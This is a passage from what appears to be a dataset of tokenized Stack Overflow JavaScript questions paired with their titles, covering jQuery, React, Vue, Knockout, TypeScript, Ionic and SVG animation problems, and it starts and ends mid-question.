! == `` function '' ) { // closest thing possible to the ECMAScript 5 // internal IsCallable function throw new TypeError ( `` Function.prototype.bind - what `` + `` is trying to be bound is not callable '' ) ; } var aArgs = Array.prototype.slice.call ( arguments , 1 ) , fToBind = this , fNOP = function ( ) { } , fBound = function ( ) { return fToBind.apply ( ( this instanceof fNOP & & oThis ? this : oThis ) , aArgs.concat ( Array.prototype.slice.call ( arguments ) ) ) ; } ; fNOP.prototype = this.prototype ; fBound.prototype = new fNOP ( ) ; return fBound ; } ; } this instanceof fNOP & & oThis ? this : oThis// ... and : fNOP.prototype = this.prototype ; fBound.prototype = new fNOP ( ) ;","How is ` new ` operator able to override hard-binding , in the Function.prototype.bind ( .. )" "JS : Lets say I have this html : I 'm selecting all .cls by this jquery selector : $ ( '.cls ' ) and put them in a variable : c is an array of object now . I want to select .active item in this array by jQuery methods.I do know i can use $ ( '.cls.active ' ) but this is not what I 'm lookin for . I want to use c.Is there any solution ? note : c.find ( '.active ' ) not working , because .find ( ) searching in childs . < ul > < li class= '' cls '' > one < /li > < li class= '' cls active '' > tow < /li > < li class= '' cls '' > here < /li > < li class= '' cls '' > after < /li > < /ul > var c= $ ( '.cls ' ) ;",JQuery search in array of object "JS : I have this code in a function , and want to shorten it - it applies the same style to every item in an array.NO answer to date worked ( Because I am looping thru the code ? ? ) Resolved it by setting only the previously displayed slide visibility to hidden document.getElementById ( divsArray [ 0 ] ) .style.visibility = 'hidden ' ; document.getElementById ( divsArray [ 1 ] ) .style.visibility = 'hidden ' ; document.getElementById ( divsArray [ 2 ] ) .style.visibility = 'hidden ' ; document.getElementById ( divsArray [ 3 ] ) .style.visibility = 'hidden ' ; x = i ; i = i+1 ; document.getElementById ( divsArray [ x ] ) .style.visibility = 'hidden ' ;",Javascript shorthand way to duplicate strings "JS : Given the HTML as a string , the Xpath and offsets . I need to highlight the word . In the below case I need to highlight Child 1HTML text : XPATH as : /html/body/ul/li [ 1 ] /a [ 1 ] Offsets : 0,7Render - I am using react in my app.The below is what I have done so far.I want to avoid using jquery . Want to do in Javascript ( React too ) if possible ! Edit : So if you notice the Render function it is using dangerouslySetHTML.My problem is I am not able manipulate that string which is rendered . < html > < body > < h2 > Children < /h2 > Joe has three kids : < br/ > < ul > < li > < a href= '' # '' > Child 1 name < /a > < /li > < li > kid2 < /li > < li > kid3 < /li > < /ul > < /body > < /html > public render ( ) { let htmlText = //The string above let doc = new DOMParser ( ) .parseFromString ( htmlRender , 'text/html ' ) ; let ele = doc.evaluate ( `` /html/body/ul/li [ 1 ] /a [ 1 ] '' , doc , null , XPathResult.FIRST_ORDERED_NODE_TYPE , null ) ; //This gives the node itself let spanNode = document.createElement ( `` span '' ) ; spanNode.className = `` highlight '' ; spanNode.appendChild ( ele ) ; // Wrapping the above node in a span class will add the highlights to that div //At this point I do n't know how to append this span to the HTML String return ( < h5 > Display html data < /h5 > < div dangerouslySetInnerHTML= { { __html : htmlText } } / > )",Highlighting when HTML and Xpath is given "JS : I 'm trying to add in a button which scrolls to the top of the page , using Ionic React . This is part of my code so far -The scrollToTop function should scroll to the to the top of the element with id 'page ' but tis does n't . I do n't get any errors when clicking the button , instead nothing at all happens.I know this is a trivial thing to implement in Angular but I 'm having trouble using React for this . Any help would be great thanks . ... function scrollToTop ( ) { return document.getElementById ( `` page '' ) ! .scrollTop ; } const Home : React.FC = ( ) = > { return ( < IonPage > < IonHeader > < IonToolbar > < IonButtons slot= '' start '' > < IonMenuButton / > < /IonButtons > < IonTitle slot= '' end '' > Ionic Template - JB < /IonTitle > < /IonToolbar > < /IonHeader > < IonContent id= { `` page '' } > < IonCard className= '' welcomeImage '' > < img src= '' /assets/welcomeBacking.jpg '' alt= '' '' / > < IonCardHeader > < IonCardTitle > Welcome ! < /IonCardTitle > < IonCardSubtitle > To this Ionic Template < /IonCardSubtitle > < /IonCardHeader > < IonCardContent > Lorem ipsum ... ... .. < /IonCardContent > < /IonCard > { /*Checklist*/ } < IonList > { form.map ( ( { val , isChecked , isDisabled } ) = > ( < IonItem key= { val } > < IonLabel > { val } < /IonLabel > < IonCheckbox slot= { `` start '' } value= { val } checked= { isChecked } disabled= { isDisabled } / > < /IonItem > ) ) } < /IonList > < IonButton onClick= { scrollToTop } > Scroll to top < /IonButton > < /IonContent > < /IonPage > ) ; } ;",Adding in a scroll button with Ionic React "JS : I started to use JS Promises in a project recently . I noticed that every time I use .catch my JS linter complains . It does run and does what it should but I looked up the ECMAScript spec and it really looks like it is right : Since catch is a keyword it can not be used as an identifier . As I understand method names are identifiers , so this is invalid : It should be this instead : What am I missing ? Promise.reject ( `` Duh '' ) .catch ( alert ) ; Promise.reject ( `` Duh '' ) [ 'catch ' ] ( alert ) ;",Is the 'catch ' method name of JS Promises/A+ invalid since it 's a JS keyword ? "JS : I have a select box ( Specie ) and a typeAhead input field ( Breed ) , Which i need to update on the change of selectbox , I have the following code.Its working but for the first time , The second time change does n't change the values of the typeahead , What am i missing here ? < div class= '' col-lg-4 col-md-4 col-sm-12 col-xs-12 profile-fields-margin-bottom '' > < select class= '' form-control select_field_style specie-breed '' id= '' species '' name= '' species '' required > < option disabled selected > Select a Species < /option > < option value= '' Dog '' > Dog < /option > < option value= '' Cat '' > Cat < /option > < option value= '' Horse '' > Horse < /option > < /select > < /div > < div class= '' col-lg-4 col-md-4 col-sm-12 col-xs-12 profile-fields-margin-bottom '' > < input id= '' breed '' type= '' text '' class= '' form-control charsonly '' name= '' breed '' placeholder= '' Breed '' > < /div > $ ( document ) .on ( 'change ' , '.specie-breed ' , function ( ) { let specie = this.value ; $ ( ' # breed ' ) .typeahead ( { source : function ( query , process ) { return $ .get ( '/get/breeds/ ' + specie , { query : query } , function ( data ) { console.log ( data ) ; return process ( data ) ; } ) ; } } ) ; } ) ;",Jquery select on change "JS : This is the test case.Using JavaScript : This gives the expected result : the dialog alert is showing inside the new window.Using jQuery : The dialog alert is shown inside the main page.Why the difference ? Am I missing something here ? This behaviour has been tested in chrome/FF/safari/IEEDITAs pointed out by mishik , this is due to how jQuery handles script tags , using the globalEval method to run scripts in the global context . So a possible workaround for using jQuery ( but not fall back to the pure JavaScript method ) could be to set the newwindow variable in the global context too and use it like that , e.g : DEMO $ ( '.js ' ) .on ( 'click ' , function ( ) { var newwindow = window.open ( ) ; newwindow.document.write ( ' < span > test < /span > ' ) ; newwindow.document.write ( ' < scr ' + 'ipt > alert ( 1 ) < /scr ' + 'ipt > ' ) ; } ) ; $ ( '.jquery ' ) .on ( 'click ' , function ( ) { var newwindow = window.open ( ) ; $ ( newwindow.document.body ) .append ( ' < span > test < /span > ' , ' < scr ' + 'ipt > alert ( 1 ) < /scr ' + 'ipt > ' ) ; } ) ; $ ( '.jquery ' ) .on ( 'click ' , function ( ) { newwindow = window.open ( ) ; $ ( newwindow.document.body ) .append ( ' < span > test < /span > ' , ' < scr ' + 'ipt > newwindow.window.alert ( 1 ) < /scr ' + 'ipt > ' ) ; } ) ;",alert ( ) called on new window seems to be called from original page if using jQuery 's methods "JS : If I have multiple events on an element I am currently handling those events as written here : Is there a way to combine all the events on an element in one on ( ) call ? What is the best practice if there are multiple events associated with one element ? $ ( `` body '' ) .on ( `` click '' , `` .element '' , function ( e ) { // Do something on click } ) ; $ ( `` body '' ) .on ( `` change '' , `` .element '' , function ( e ) { // Do something on change } ) ; $ ( `` body '' ) .on ( `` change click '' , `` .element '' , function ( e ) { // Can I detect here if it was change or click event and perform an action accordingly ? } ) ;",How to better handle events "JS : I want to write formulas in Mathematica format in my blog , inside tag 's formula . What js should I use ( and what libary ) , to replace those tag 's , with http : //www.wolframalpha.com/ search result image , when Dom gets loaded ? For example : gets replaced with : If it 's to complex or can not be done with javascript , please explain why . < formula > Limit [ ( ( 3 + h ) ^ ( -1 ) + -1/3 ) /h , h - > 0 ] < /formula >",Complex wolframalpha ajax query "JS : I have a component which should pass everything on to the child . I 'm successfully passing $ attrs and $ listeners already : But I 'm unsure how to also forward $ refs like we can do in React , so that when using my component like this : Then this. $ refs.form is actually a reference to the child < el-form > . I would rather do this transparently , as in you pass exactly the same props to el-form-responsive as you would to a el-form without needing to know that refs has to be passed in a special way . < template > < el-form v-on= '' $ listeners '' v-bind= '' $ attrs '' : label-position= '' labelPosition '' > < slot / > < /el-form > < /template > < el-form-responsive class= '' form '' : model= '' formValues '' status-icon : rules= '' rules '' ref= '' form '' label-width= '' auto '' @ submit.native.prevent= '' submitForm '' >",How to foward $ refs in Vue "JS : In a JavaScript debugger , I can manually inspect the scope chain of a function . For instance , when executing foo ( ) on this piece of code : and setting a breakpoint on the console.log , I see the following scopes : Is there some means to do this programmatically ? How can I inspect what is defined at every scope level ? var x1 = `` global '' ; var foo = ( function main ( ) { var x2 = `` inside obj '' ; return function internalFoo ( ) { var x3 = `` inside internalFoo '' ; console.log ( x1+ ' , '+x2+ ' , '+x3 ) ; // get the scopes } ; } ) ( ) ; foo ( ) ;",How to programmatically inspect the JavaScript scope chain ? JS : Why do Function.prototype . * methods exist as Function.* ? It seems inconsistent.This is n't the case with any other primary type ( Array.slice does n't exist but Array.prototype.slice does ) . > Function.call == Function.prototype.calltrue > Function.prototype == Functionfalse,Why do we have Function.call in javascript ? "JS : I try to run angular-ui-router to handle my views but i have a problem.The two links of the following view are not clickable.Angular change variable with link label but i ca n't click on.I have this view : I use this code . It do not returns errors . All modules ( localStorage ... are included ) but links are not clickable.Can someone help me ? < ! DOCTYPE html > < html ng-app= '' MyApp '' > < head > < meta charset= '' utf-8 '' > < /head > < body > < h1 > App < /h1 > < nav > < a ui-shref= '' app '' > { { link.home } } < /a > < a ui-shref= '' app.front.signin '' > { { link.signin } } < /a > < /nav > < div ui-view= '' content '' > < /div > < /body > < /html > /** * Declaration of MyAppControllers module */ MyAppControllers = angular.module ( 'MyAppControllers ' , [ ] ) ; /** * Declaration of MyApp Application */MyApp = angular.module ( 'MyApp ' , [ 'MyAppControllers ' , 'LocalStorageModule ' , 'ui.router ' ] ) ; MyApp.config ( [ ' $ stateProvider ' , ' $ urlRouterProvider ' , function ( $ stateProvider , $ urlRouterProvider ) { $ urlRouterProvider.otherwise ( `` / '' ) ; // // Now set up the states $ stateProvider .state ( 'app ' , { url : `` / '' , views : { `` content '' : { templateUrl : `` views/front/home-1.0.html '' } } } ) .state ( 'app.front.signin ' , { url : `` /signin '' , views : { `` content '' : { templateUrl : `` views/front/home-1.0.html '' , controller : `` signinCtrl '' } } } ) ; } ] ) ;",Angular ui-router : Links are not clickable "JS : I am moving from AngularJS 1.3 to AngularJS 1.4 . And this time I am using AngularJS new route e.g . ngNewRouter which is introduced in AngularJS 1.4.My sample code is as below : Routing is working fine but $ routeChangeSuccess is not getting called ever : ( .Might be $ routeChangeSuccess lister will be called with ngRoute module only , and I am using ngNewRouter instead of ngRoute . If its true then which lister should I bind in place of $ routeChangeSuccess ? var versionModule = ng.module ( 'test ' , [ 'ngNewRouter ' ] ) ; versionModule.controller ( 'TestController ' , [ ' $ rootScope ' , ' $ router ' , function ( $ rootScope , $ router ) { var version = this ; $ router.config ( [ { path : '/ ' , redirectTo : '/home ' } , { path : '/home ' , component : 'home ' } ] ) ; $ rootScope. $ on ( ' $ routeChangeSuccess ' , function ( event , current , previous ) { console.log ( `` This line is not getting printed ever . `` ) ; } ) ; } ] ) ;",$ routeChangeSuccess is not working with ngNewRouter AngularJS 1.4 "JS : I´m having troubles with AJAX navigation , the problem is that the javascript files loaded remains in the browser after the new content is loaded even they are n't in the DOM anymore , and they appears as VM files in the browser console and execute the code inside it . I do n't want that happen because the javascript file it supposed to be replaced when the new content comes via AJAX.My DOM structure is like this : Every time a page is loaded with its own javascript file appears a new VM file and keeps all the olders , and thats a problem : So , whats the problem and how can I fix this ? I need to prevent duplicated files and remove the js file when a new its loaded . < body > < header > < /header > < main id= '' contentToBeReplaced '' > < p > New content with its own js < /p > < script > var script = `` js/new.js '' ; $ .getScript ( script ) ; < /script > < /main > < footer > < /footer > < script src= '' js/main.js '' > < /script > < /body >",Javascript files appears duplicated in ajax navigation "JS : I 'm wondering if I can provide a checkbox only on the parent that has children with no children . Something like this . I can select a single child , or the child 's immediate parent that would select all the children . parent01 parent02 parent03 [ ] child01 [ ] child02 [ ] child03 [ ] parent04 [ ] child04 [ ] parent05 [ ] child05 [ ] parent06 parent07 parent08 [ ] child06 [ ] child07 [ ]",Can I limit jstree check box to only parents with children ? "JS : I am painting an image to a HTML canvas and getting image data from it to find the colors of specific pixels . The image is a map where each country is a different color . I want to cross reference the color returned by .getImageData ( ) to a list of colors I made by hand to find which country any given pixel is in . My issue is , the image I paint to the canvas and the image that is painted are slightly different colors.This is the original picture being drawn to the canvas : This is the picture I get when I download the canvas as a PNG : The two look almost identical , but if you download them and open them in a photo editing software , you will find they are n't . For example , the grey ocean in the top picture is 73,73,73,255 and the grey ocean in the bottom picture is 71,71,71,255.I can still accomplish my goal of determining the country a pixel is in , but I need to make a new list based on the picture I download after it is painted to the canvas.This just seems like a really weird issue.If anyone is wondering , my code looks like this : HTML : JS : Also , I am using Firefox 31 for Ubuntu-Thanks for the help < img scr= '' active_map.png '' class= '' active '' id= '' activeImage '' > < canvas id= '' activeCanvas '' width= '' 439px '' height= '' 245px '' > Your Browser Does n't Support HTML5 Canvases ... Sorry : ( < /canvas > var activeCanvas = document.getElementById ( 'activeCanvas ' ) var activeContext = activeCanvas.getContext ( `` 2d '' ) ; var activeImage = document.getElementById ( 'activeImage ' ) activeContext.drawImage ( activeImage,0,0 ) ; var activePixelData = activeContext.getImageData ( 0,0,439,245 ) [ `` data '' ] ;",Why is a canvas drawn with an image a slightly different color than the image itself ? "JS : I 'm currently refactoring my angularjs application in order to use webpack and lazyloading.I would like to load only one directive from an angularjs module , instead of loading the whole module to prevent unused code in my generate bundle.Is it possible , with minor changes ? Something like import { MyDirective } from './my-module.js ' ;",load specific directive from angularjs module using webpack "JS : I am using google 's api client in my application . I have a function called initialize that uses gapi.load to authenticate my credentials and load the youtube api . gapi.load takes a callback function which is where I authenticate and loadYoutubeApi , asynchronously . I want to know , when I run the initialize function , when these asynchronous functions have completed . Is there a way for me to return a value in this asynchronous callback function so that I know , when invoking initialize , that these asynchronous tasks have completed ? Thanks ! const apiKey = 'my-api-key ' ; const clientId = 'my-client-id ' ; const authenticate = async ( ) = > { const { gapi } = window ; try { await gapi.auth2.init ( { clientId } ) ; console.log ( 'authenticated ' ) ; } catch ( error ) { throw Error ( ` Error authenticating gapi client : $ { error } ` ) ; } } ; const loadYoutubeApi = async ( ) = > { const { gapi } = window ; gapi.client.setApiKey ( apiKey ) ; try { await gapi.client.load ( 'https : //www.googleapis.com/discovery/v1/apis/youtube/v3/rest ' ) ; console.log ( 'youtube api loaded ' ) ; } catch ( error ) { throw Error ( ` Error loading youtube gapi client : $ { error } ` ) ; } } ; const initialize = async ( ) = > { const { gapi } = window ; const isInitialized = await gapi.load ( 'client : auth2 ' , async ( ) = > { try { await authenticate ( ) ; await loadYoutubeApi ( ) ; return true ; } catch ( error ) { throw Error ( ` Error initializing gapi client : $ { error } ` ) ; } } ) ; console.log ( isInitialized ) ; // expects ` true ` but am getting ` undefined ` } ; initialize ( ) ;",How to return a value in a JS asynchronous callback function - gapi "JS : I 'm in the middle of writing a jQuery plugin , and I 'd like to shrink the size of my script by replacing commonly used CSS property strings with enums . However , Google 's Closure Compiler replaces all string variables with string literals . For example , with advanced optimization selected : thisreturnsWhat is the right way to do what I 'm trying to do without sending my code through a string compressor like JScrambler ? Thanks in advance . var x = `` hey bob how are you doing '' ; alert ( x ) ; alert ( x ) ; alert ( x ) ; alert ( x ) ; alert ( `` hey bob how are you doing '' ) ; alert ( `` hey bob how are you doing '' ) ; alert ( `` hey bob how are you doing '' ) ; alert ( `` hey bob how are you doing '' ) ;",What is the proper way to minify strings using Google 's Closure Compiler ? "JS : I am using Knockout.js for a rich client application and it will consist of large number of knockout.js ViewModels . In the development , I noticed two ways of creating knockout.js ViewModels.First way.Second way.Is there any specific difference in these two methods of declaring ViewModels ? In knockout.js official page examples they have used the first way . But in third party frameworks like Knockout-validations.js has used second way . Which way should I use ? Any specific advantage in using it ? I found out if I use first way , then I cant use Knockout-validations.js framework . I am really confused on this matter . Any comment is appreciated.Thank you . function AppViewModel ( ) { this.firstName = ko.observable ( `` Bert '' ) ; this.lastName = ko.observable ( `` Bertington '' ) ; } var appViewModel = { this.firstName = ko.observable ( `` Bert '' ) , this.lastName = ko.observable ( `` Bertington '' ) } ;",View-Model declaring of Knockout.js . There are two methods "JS : When looking deeply at the code of some most popular websites , I 've seen many times that , CSS and JavaScript file name are like this , It seems like that file names has been hashed and I do n't know what is the reason . So I 've got following problems.What is the purpose of using this kind of method ? I 've seen Very complex folder names also . Why is that ? Are there any security concerns ? Can we dynamically change file/folder names using PHP for maximum security ? I am little new to this area . < link type= '' text/css '' rel= '' stylesheet '' href= '' //sample.com/css/css__k3sYInttBtNNuJgtPSyqaYy9vVxS4qTZLrfs1ujQB9g__SH_QaIH3bnSp3nOw8n8afhszfHJlxVt51qRlrrrOnk0__fBOuweRojwN82z7EY4v-sVsMwU_P_vZSaU3fmyho6Do.css '' media= '' all '' / > < script type= '' text/javascript '' src= '' //sample.com/js/js__-V23Vc4PVahQcqfyxss_rmNogErBARnPCvI7oPXC0qQ__O-yO5Gg8pRRaefl4d0X9qXUJTOSHq0yazxF-4tJCU_k__fBOuweRojwN82z7EY4v-sVsMwU_P_vZSaU3fmyho6Do.js '' > < /script >",Why use hashed CSS stylesheet and Javascript file names ? "JS : I 'm new to NS and i 'm trying to display a list of passengers inside a list of rides ( each ride has many passengers ) .So i tried to put a listview ( passengers ) inside a global listview ( rides ) , the listview for the rides work but not for the passenger ( obviously ) , i do n't think it 's the right way to do it.here is my code : rides.xml : rides.jsride-view-model.jsThanks ! < ListView items= '' { { ridesList } } '' id= '' ridesList '' > < ListView.itemTemplate > < ! -- Rides -- > < StackLayout class= '' box '' orientation= '' vertical '' > < GridLayout class= '' boxHeader '' rows= '' auto '' columns= '' * '' > < Label class= '' title '' verticalAlignment= '' center '' horizontalAlignment= '' left '' text= '' { { reference } } '' / > < /GridLayout > < StackLayout class= '' boxContent '' orientation= '' vertical '' > < GridLayout class= '' checkpoints '' rows= '' auto , auto '' columns= '' 80 , * , 60 '' > < ! -- -- > < ListView items= '' { { passagers } } '' id= '' passagersList '' > < ListView.itemTemplate > < StackLayout class= '' timedate '' orientation= '' vertical '' row= '' 0 '' col= '' 0 '' > < Label class= '' time '' text= '' 14:32 '' / > < Label class= '' firstname '' text= '' { { firstname } } '' / > < /StackLayout > [ ... ] < /ListView.itemTemplate > < /ListView > < /GridLayout > < /StackLayout > < /StackLayout > < ! -- /Rides -- > < /ListView.itemTemplate > < /ListView > var ride = new RideViewModel ( [ ] ) ; [ ... ] exports.loaded = function ( args ) { var page = args.object ; page.bindingContext = ride ; ride.futurCourse ( ) .then ( function ( data ) { [ ... ] ride.fillFuturCourse ( data ) ; } ) ; } ; viewModel.fillFuturCourse = function ( data ) { var testdModel = new ObservableArray ( ) ; var jsone = JSON.parse ( ' { `` course '' : [ { `` id '' : '' 5 '' , '' reference '' : '' test '' , '' passagers '' : [ { `` firstname '' : '' julien '' } , { `` firstname '' : '' andre '' } ] } , { `` id '' : '' 6 '' , '' reference '' : '' RF7878788 '' } ] } ' ) ; testdModel= jsone.course ; viewModel.set ( `` ridesList '' , testdModel ) ; } ;",NativeScript - array in listview "JS : I had been going through the ES6 assuming that it would be easy to switch to EcmaScript 2017.While going through , I got confused about this codeWhich has ES5 equivalent I did understand the default parameter thing from it . But what does f ( 1 ) ===50 mean in both the codes ? Whats the use of it ? Here is another example What does f ( 1 , 2 , `` hello '' , true , 7 ) === 9 mean ? I understand that === for comparison between the LHS and RHS of the operator including the type of both and not just value.But why have it been used like that ? ? Kindly explain its usage.This is the link from where I got this . http : //es6-features.org/ # RestParameter function f ( x , y = 7 , z = 42 ) { return x + y + z } f ( 1 ) === 50 function f ( x , y , z ) { if ( y === undefined ) y = 7 ; if ( z === undefined ) z = 42 ; return x + y + z ; } ; f ( 1 ) === 50 ; function f ( x , y , ... a ) { return ( x + y ) * a.length } f ( 1 , 2 , `` hello '' , true , 7 ) === 9",Meaning of === with function call "JS : I noticed an empty comment block in JSONP output returned by facebook graph api forall methods.URL that I called : The JSONP output is : My question is : What does the empty comment block /* */ before the callback function signify ? Does it have a peculiar purpose ? Does it fix any known javascript gotcha ? https : //graph.facebook.com/NUMERIC_FACEBOOK_ID/friends ? access_token=ACCESS_TOKEN_STRING & callback=theGreatFunction /**/ theGreatFunction ( { `` data '' : [ { `` name '' : `` First Friend '' , `` id '' : `` XXXX '' } , { `` name '' : `` Second Friend '' , `` id '' : `` XXXXXX '' } , ... ... ..","Facebook graph api JSONP format , what does the /* */ in first line signify ?" "JS : I have been working on this question for several days , and have researched it on SO as well as the web at large and was unable to find material that helped me solve it.I am trying to create a weather app that can toggle the weather units displayed between Fahrenheit and Celsius . I start by appending the weather in Fahrenheit , and then I have created an event handler that conditionally changes the inner content of the associated element based on whether that element is currently displaying `` F '' or `` C '' .As it is , my app successfully loads with the Fahrenheit temperature , and toggles to Celsius on click , but it will not toggle back to Fahrenheit . I assume there is some issue with how the events are registered , but for the life of me I can not figure it out.Here is my code : Thank you so much in advance ! Happy to provide additional information if necessary . var fahr = document.createElement ( `` a '' ) ; fahr.attr = ( `` href '' , `` # '' ) ; fahr.className = `` tempUnit '' ; fahr.innerHTML = tempf + `` & deg ; F '' + `` < br/ > '' ; $ ( `` # currentWeather '' ) .append ( fahr ) ; var cels = document.createElement ( `` a '' ) ; cels.attr = ( `` href '' , `` # '' ) ; cels.className = `` tempUnit '' ; cels.innerHTML = tempc + `` & deg ; C '' + `` < br/ > '' ; var units = document.getElementsByClassName ( `` tempUnit '' ) ; $ ( `` .tempUnit '' ) .click ( function ( ) { if ( units [ 0 ] .innerHTML.indexOf ( `` F '' ) ! = -1 ) { $ ( `` .tempUnit '' ) .replaceWith ( cels ) ; } else { $ ( `` .tempUnit '' ) .replaceWith ( fahr ) ; } } )",How to create a toggle button that dynamically changes HTML content ? "JS : I use dependency injection for all my child classes that extends an abstract class.The problem that in abstract constructor class I launch a method that I planned to override in its children , if necessary.I stuck in problem that my injected dependency is not visible in my override class that is launched from super.Here is an example of code : So the core of a problem is that typescript transpiles the Example class to code as follows : Instead of this : As you see , if I place this.helper before _super in JavaScript , this.helper will be visible always in _assemble . Even if super will call the _assemble function.But as default assigning to this is after the _super call . So if super class will call the assemble . It will not be visible in overriden _assemble method in Example at first time.So my question is ... Is it a bug ? orWhat I do n't know ? For now I fixed my issue just removing _assemble from super class , and always calling it from child . But this just feels wrong.Nota Bene : Here is compiled JavaScript code vs fixed JavaScript code demo : TypeScript usual output : TypeScript fixed javascript output : abstract class Base { constructor ( view : string ) { this._assemble ( ) ; } protected _assemble ( ) : void { console.log ( `` abstract assembling for all base classes '' ) ; } } class Example extends Base { constructor ( view : string , private helper : Function ) { super ( view ) ; console.log ( this.helper ) ; } public tryMe ( ) : void { this._assemble ( ) ; } protected _assemble ( ) : void { super._assemble ( ) ; // at first run this.helper will be undefined ! console.log ( `` example assembling '' , this.helper ) ; } } let e = new Example ( `` hoho '' , function ( ) { return ; } ) console.log ( `` So now i will try to reassemble ... '' ) ; e.tryMe ( ) ; function Example ( view , helper ) { _super.call ( this , view ) ; this.helper = helper ; console.log ( this.helper ) ; } function Example ( view , helper ) { this.helper = helper ; _super.call ( this , view ) ; console.log ( this.helper ) ; } var __extends = ( this & & this.__extends ) || function ( d , b ) { for ( var p in b ) if ( b.hasOwnProperty ( p ) ) d [ p ] = b [ p ] ; function __ ( ) { this.constructor = d ; } d.prototype = b === null ? Object.create ( b ) : ( __.prototype = b.prototype , new __ ( ) ) ; } ; var Base = ( function ( ) { function Base ( view ) { this._assemble ( ) ; } Base.prototype._assemble = function ( ) { document.write ( `` < p > abstract assembling for all base classes < /p > '' ) ; } ; return Base ; } ( ) ) ; var Example = ( function ( _super ) { __extends ( Example , _super ) ; function Example ( view , helper ) { _super.call ( this , view ) ; this.helper = helper ; console.log ( this.helper ) ; } Example.prototype.tryMe = function ( ) { this._assemble ( ) ; } ; Example.prototype._assemble = function ( ) { _super.prototype._assemble.call ( this ) ; // at first run this.helper will be undefined ! document.write ( `` < p > example assembling < b/ > '' + ( this.helper ) + `` < /b > < /p > '' ) ; } ; return Example ; } ( Base ) ) ; var e = new Example ( `` test '' , function ( ) { return `` needle '' ; } ) ; document.write ( `` < p > < i > So now i will try to reassemble ... < /i > < /p > '' ) ; e.tryMe ( ) ; var __extends = ( this & & this.__extends ) || function ( d , b ) { for ( var p in b ) if ( b.hasOwnProperty ( p ) ) d [ p ] = b [ p ] ; function __ ( ) { this.constructor = d ; } d.prototype = b === null ? Object.create ( b ) : ( __.prototype = b.prototype , new __ ( ) ) ; } ; var Base = ( function ( ) { function Base ( view ) { this._assemble ( ) ; } Base.prototype._assemble = function ( ) { document.write ( `` < p > abstract assembling for all base classes < /p > '' ) ; } ; return Base ; } ( ) ) ; var Example = ( function ( _super ) { __extends ( Example , _super ) ; function Example ( view , helper ) { /** * Slight change , compiled assigning to this BEFORE _super . */ this.helper = helper ; _super.call ( this , view ) ; console.log ( this.helper ) ; } Example.prototype.tryMe = function ( ) { this._assemble ( ) ; } ; Example.prototype._assemble = function ( ) { _super.prototype._assemble.call ( this ) ; // at first run this.helper will be undefined ! document.write ( `` < p > example assembling < b/ > '' + ( this.helper ) + `` < /b > < /p > '' ) ; } ; return Example ; } ( Base ) ) ; var e = new Example ( `` test '' , function ( ) { return `` Needle '' ; } ) ; document.write ( `` < p > < i > So now i will try to reassemble ... < /i > < /p > '' ) ; e.tryMe ( ) ;",TypeScript should assign to ` this ` before ` _super ` call in transpiled output for ES5 ? "JS : On my webpage I have remove icons on rows in a table like this : I am using TypeScript where I have attached an onClick listener to execute a function called OnRemoveClick , like this $ ( '.remove ' ) .click ( this.OnRemoveClick ) ; OnRemoveClick zeros 2 fields ( on the row the remove icon is clicked ) and then executes 2 functions , like this : The problem I have is that it falls over when I get to GetInputFieldsToJson I get : TypeError : this.GetInputFieldsToJson is not a function at HTMLAnchorElement.Index.OnRemoveClickI realise it is because this in the context of OnRemoveClick is attached to the HTMLAnchorElement which means I can not access my functions from there . What I have triedI have tried setting the onClick listener with a lambda expression like this : $ ( '.remove ' ) .click ( ( ) = > this.OnRemoveClick ) ; but that means that the two jQuery expressions to zero fields on the row no longer work private OnRemoveClick ( ) : void { $ ( this ) .parents ( 'tr ' ) .find ( '.input-qty ' ) .val ( ' 0 ' ) ; $ ( this ) .parents ( 'tr ' ) .find ( '.sub-total ' ) .html ( ' 0 ' ) ; this.GetInputFieldsToJson ( ) ; this.CalculateTotal ( ) ; }",'This ' scope in TypeScript "JS : I have two files , file A and file B . File A uses a class from file B . My goal is to reference the TypeDoc output for a class used in file B in the TypeDoc output for file A. I ca n't seem to do this.I know you can reference a symbol contained in the same file with TypeDoc with double brackets , like [ [ Foo ] ] , but this did n't work for an external type like this.Is this possible to achieve ? /** Trying to reference [ [ FileB.InnerClass ] ] like this does n't work . */// This here is what I want to includeexport type InnerClass = FileB.InnerClass ; // More code ...",Documenting external types with TypeDoc "JS : This does n't work : But this does : Why is this ? I imagine somehow the String.prototype.match function is too `` primitive '' or something , but why exactly ? Since I 'm not using ES2015 , the second version seems quite verbose . Is there an alternative ? EDITWhen I wrote the above , I actually got it backwards compared to my actual need , which was matching one string against a number of regexes . But thanks to the great answers and comments below , I get it : [ /^foo/ , /^boo/ ] .some ( `` .match , 'boot ' ) . var s = '^foo ' ; console.log ( [ 'boot ' , 'foot ' ] .some ( s.match ) ) ; Uncaught TypeError : String.prototype.match called on null or undefined var s = '^foo ' ; console.log ( [ 'boot ' , 'foot ' ] .some ( function ( i ) { return i.match ( s ) } ) ) ;",Ca n't use String.prototype.match as function for Array.some ? "JS : As the title , why the requestAnimationFrame recursion wo n't eat up RAM . This post said that the V8 engine has no optimization for the tail call , so I think I must have missed something . Is that because the browser did something behind it ? Or the V8 supports the optimization of tail call ? Here 's the MDN 's example : function step ( timestamp ) { var progress = timestamp - start ; d.style.left = Math.min ( progress/10 , 200 ) + `` px '' ; if ( progress < 2000 ) { requestAnimationFrame ( step ) ; } } requestAnimationFrame ( step ) ;",Why `` requestAnimationFrame '' recursion wo n't eat up RAM ? "JS : I 'm trying to animate in snake way a text , using SVG , like this : My goals is make the text animate , but in the same place . I already did this : As you can see , the animation is moving to the < - , how fix this ? var textPath = document.getElementById ( 'texto ' ) , comprimento = textPath.getAttribute ( 'startOffset ' ) ; var animador = setInterval ( function ( ) { comprimento -- ; textPath.setAttribute ( 'startOffset ' , comprimento ) ; } , 10 ) ; < svg width= '' 400 '' height= '' 400 '' > < defs > < path id= '' myPath '' d= '' m 40,130 c 0,0 60 , -80 120 , -80 60,0 74.00337,80 140,80 65.99663,0 80 , -80 140 , -80 60,0 120,80 120,80 '' / > < /defs > < text style= '' stroke : # 000000 ; '' > < textPath startOffset= '' 240 '' id= '' texto '' xlink : href= '' # myPath '' > Testing this text < /textPath > < /text > < /svg >",SVG animation in snake "JS : My Rails application includes a JavaScript modal that pops up 45 seconds after a user clicks on a link . As a result , my acceptance tests , which used to pass when there was no delay , are failing.I originally tried to use the Timecop gem to fast-forward time in my Capybara acceptance test , but that did not work . When I added a sleep ( 45 ) , however , that did work . Obviously , I ca n't have sleep ( 45 ) in my specs 3 times , but it 's good to know what does work so I can get closer to that with a faster method.What I 've concluded from my experiments is that Ruby keeps track of time and Javascript keeps track of time and Timecop is fast-forwarding Ruby time but not Javascript time . Is there a way to fast-forward 45 seconds in my Capybara tests so that my Javascript event fires off ? Here is the function 